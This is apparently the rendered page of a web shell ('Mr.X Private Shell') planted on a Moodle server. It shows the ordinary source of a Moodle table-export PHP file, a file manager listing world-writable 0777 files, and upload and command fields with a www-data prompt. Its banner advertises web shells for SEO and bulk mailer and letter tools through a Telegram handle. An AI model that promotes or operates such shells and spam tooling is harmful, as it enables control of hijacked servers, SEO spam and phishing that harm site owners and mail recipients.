__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace core_table;

use flexible_table;

defined('MOODLE_INTERNAL') || die();

global $CFG;

require_once("{$CFG->libdir}/tablelib.php");

/**
 * The table base export format.
 *
 * @package   core_table
 * @copyright 1999 onwards Martin Dougiamas  {@link http://moodle.com}
 * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class base_export_format {
    /**
     * @var flexible_table or child class reference pointing to table class object from which to export data.
     */
    public $table;

    /**
     * @var bool output started. Keeps track of whether any output has been started yet.
     */
    public $documentstarted = false;

    /**
     * Constructor.
     *
     * @param flexible_table $table
     */
    public function __construct(&$table) {
        $this->table =& $table;
    }

    public function set_table(&$table) {
        $this->table =& $table;
    }

    public function add_data($row) {
        return false;
    }

    public function add_seperator() {
        return false;
    }

    public function document_started() {
        return $this->documentstarted;
    }

    /**
     * Format the text.
     *
     * Given text in a variety of format codings, this function returns
     * the text as safe HTML or as plain text dependent on what is appropriate
     * for the download format. The default removes all tags.
     *
     * @param string $text
     * @param int $format
     * @param null|array $options
     * @param null|int $courseid
     */
    public function format_text($text, $format = FORMAT_MOODLE, $options = null, $courseid = null) {
        // Use some whitespace to indicate where there was some line spacing.
        $text = str_replace(['</p>', "\n", "\r"], '   ', $text);
        return html_entity_decode(strip_tags($text), ENT_COMPAT);
    }

    /**
     * Format a row of data, removing HTML tags and entities from each of the cells
     *
     * @param array $row
     * @return array
     */
    public function format_data(array $row): array {
        return array_map([$this, 'format_text'], $row);
    }
}

// Alias this class to the old name.
// This file will be autoloaded by the legacyclasses autoload system.
// In future all uses of this class will be corrected and the legacy references will be removed.
class_alias(base_export_format::class, \table_default_export_format_parent::class);

Filemanager

Name Type Size Permission Actions
external Folder 0777
local Folder 0777
output Folder 0777
privacy Folder 0777
base_export_format.php File 3.01 KB 0777
dataformat_export_format.php File 4.74 KB 0777
dynamic.php File 1.8 KB 0777
flexible_table.php File 68.6 KB 0777
sql_table.php File 8.02 KB 0777
Filemanager